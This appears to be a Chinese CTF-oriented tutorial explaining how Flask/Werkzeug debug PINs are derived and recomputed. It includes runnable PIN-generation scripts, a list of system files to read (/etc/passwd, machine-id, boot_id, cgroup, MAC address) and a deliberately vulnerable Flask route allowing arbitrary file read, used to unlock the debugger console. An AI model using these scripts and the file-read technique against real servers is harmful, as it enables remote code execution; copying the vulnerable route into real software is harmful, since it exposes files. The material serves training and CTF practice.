深入淺出Flask PIN
最近搞SSTI,發現有的開發開了debug,由此想到了PIN,但一直沒有對這個點做一個深入剖析,今天就完整的整理Flask Debug PIN碼的生成原理與安全問題。
PIN是什么?
PIN是 Werkzeug(它是 Flask 的依賴項之一)提供的額外安全措施,以防止在不知道 PIN 的情況下訪問調試器。您可以使用瀏覽器中的調試器引腳來啟動交互式調試器。
請注意,無論如何,您都不應該在生產環境中使用調試模式,因為錯誤的堆棧跟蹤可能會揭示代碼的多個方面。
調試器 PIN 只是一個附加的安全層,以防您無意中在生產應用程序中打開調試模式,從而使攻擊者難以訪問調試器。
——來自StackOverFlow回答
werkzeug不同版本以及python不同版本都會影響PIN碼的生成
但是PIN碼并不是隨機生成,當我們重復運行同一程序時,生成的PIN一樣,PIN碼生成滿足一定的生成算法
探尋PIN碼生成算法
筆者環境
?Python 3.10.2
?Flask 2.0.3
?PyCharm 2021.3.3 (Professional Edition)
?Windows 10 專業版 21H2
?Docker Desktop 4.7.0
先寫一個簡單的Flask測試程序
from flask import Flaskapp = Flask(__name__)
@app.route("/")def hello(): return '合天網安實驗室-實踐型網絡安全在線學習平臺;真實環境,在線實操學網絡安全。'
if __name__ == "__main__": app.run(host="0.0.0.0", port=8080, debug=True)
運行,控制臺狀態如下

瀏覽器如下則成功

接下來開始調試程序,順藤摸瓜找到生成PIN碼的函數
PIN碼是werkzeug的策略,先找到flask中導入werkzeug的部分
調試
在run.app行下斷點,點擊調試

點擊步入

轉到了flask/app.py,直接Ctrl+F搜索werkzeug

發現程序從werkzeug導入了run_simple模塊,而且try部分有run app的參數
我們直接按住ctrl點擊run_simple進去看看
此時進入了seving.py,找到了負責Debug的部分,PIN碼是在debug狀態下才有的,那這個部分很有可能存有PIN碼生成部分,進去看看

此時進入了__init__.py,經過一番審計,先來看一看pin函數

主要是get_pin_and_cookie_name函數,進去看看
def get_pin_and_cookie_name( app: "WSGIApplication",) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]: """Given an application object this returns a semi-stable 9 digit pin code and a random key. The hope is that this is stable between restarts to not make debugging particularly frustrating. If the pin was forcefully disabled this returns `None`.
Second item in the resulting tuple is the cookie name for remembering. """ pin = os.environ.get("WERKZEUG_DEBUG_PIN") rv = None num = None
# Pin was explicitly disabled if pin == "off": return None, None
# Pin was provided explicitly if pin is not None and pin.replace("-", "").isdigit(): # If there are separators in the pin, return it directly if "-" in pin: rv = pin else: num = pin
modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__) username: t.Optional[str]
try: # getuser imports the pwd module, which does not exist in Google # App Engine. It may also raise a KeyError if the UID does not # have a username, such as in Docker. username = getpass.getuser() except (ImportError, KeyError): username = None
mod = sys.modules.get(modname)
# This information only exists to make the cookie unique on the # computer, not as a security feature. probably_public_bits = [ username, modname, getattr(app, "__name__", type(app).__name__), getattr(mod, "__file__", None), ]
# This information is here to make it harder for an attacker to # guess the cookie name. They are unlikely to be contained anywhere # within the unauthenticated debug page. private_bits = [str(uuid.getnode()), get_machine_id()]
h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't # end up with the same value and generate out 9 digits if num is None: h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if # we don't have a result yet. if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = "-".join( num[x : x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size) ) break else: rv = num
return rv, cookie_name
返回的rv就是PIN碼,但這個函數核心是將列表里的值hash,我們不需要去讀懂這段代碼,只需要將列表里的值填上直接運行代碼就行。
生成要素:
username
通過getpass.getuser()讀取,通過文件讀取/etc/passwd
modname
通過getattr(mod,“file”,None)讀取,默認值為flask.app
appname
通過getattr(app,“name”,type(app).name)讀取,默認值為Flask
moddir
當前網絡的mac地址的十進制數,通過getattr(mod,“file”,None)讀取實際應用中通過報錯讀取
uuidnode
通過uuid.getnode()讀取,通過文件/sys/class/net/eth0/address得到16進制結果,轉化為10進制進行計算
machine_id
每一個機器都會有自已唯一的id,machine_id由三個合并(docker就后兩個):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
當這6個值我們可以獲取到時,就可以推算出生成的PIN碼
生成算法
修改一下就是PIN生成算法
import hashlibfrom itertools import chain
probably_public_bits = [ 'root', # username 'flask.app', # modname 'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),]
# This information is here to make it harder for an attacker to# guess the cookie name. They are unlikely to be contained anywhere# within the unauthenticated debug page.private_bits = [ '2485377957890', # str(uuid.getnode()), /sys/class/net/ens33/address # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup '861c92e8075982bcac4a021de9795f6e3291673c8c872ca3936bcaa8a071948b']
h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode("utf-8") h.update(bit)h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't# end up with the same value and generate out 9 digitsnum = Noneif num is None: h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if# we don't have a result yet.rv = Noneif rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = "-".join( num[x: x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size) ) break else: rv = num
print(rv)
然后這里還有一個點,python不同版本的算法區別
不同版本算法區別
3.6采用MD5加密,3.8采用sha1加密,所以腳本有所不同
3.6 MD5
#MD5import hashlibfrom itertools import chainprobably_public_bits = [ 'flaskweb' 'flask.app', 'Flask', '/usr/local/lib/python3.7/site-packages/flask/app.py']
private_bits = [ '25214234362297', '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa']
h = hashlib.md5()for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit)h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = Noneif num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =Noneif rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num
print(rv)3.8 SHA1#sha1import hashlibfrom itertools import chainprobably_public_bits = [ 'root' 'flask.app', 'Flask', '/usr/local/lib/python3.8/site-packages/flask/app.py']
private_bits = [ '2485377581187', '653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd']
h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit)h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = Noneif num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =Noneif rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num
print(rv)
其實最穩妥的方法就是自己調試,把自己版本的生成PIN部分提取出來,把num和rv改成None,直接print rv就行
docker測試
本地docker在Windows上
我們將上面的測試代碼修改為下,加入文件讀取功能,并且return 0當我們傳值錯誤可出發debug模式
from flask import Flask, requestapp = Flask(__name__)
@app.route("/")def hello(): return '合天網安實驗室-實踐型網絡安全在線學習平臺;真實環境,在線實操學網絡安全。'
@app.route("/file")def file(): filename = request.args.get('filename') try: with open(filename, 'r') as f: return f.read() except: return 0
if __name__ == "__main__": app.run(host="0.0.0.0", port=9000, debug=True)
回到我們的環境,模塊路徑通過傳入錯誤文件名觸發報錯可得到,主要就是machine-id,其他部分直接出的就不用看了,docker環境只需要后倆


拼接起來,代入程序,直接運行

與環境里的一致

如果大家嫌開環境麻煩這里推薦兩個線上靶場,這倆都是計算PIN
?[GYCTF2020]FlaskApp——BUUCTF
?web801——CTFshow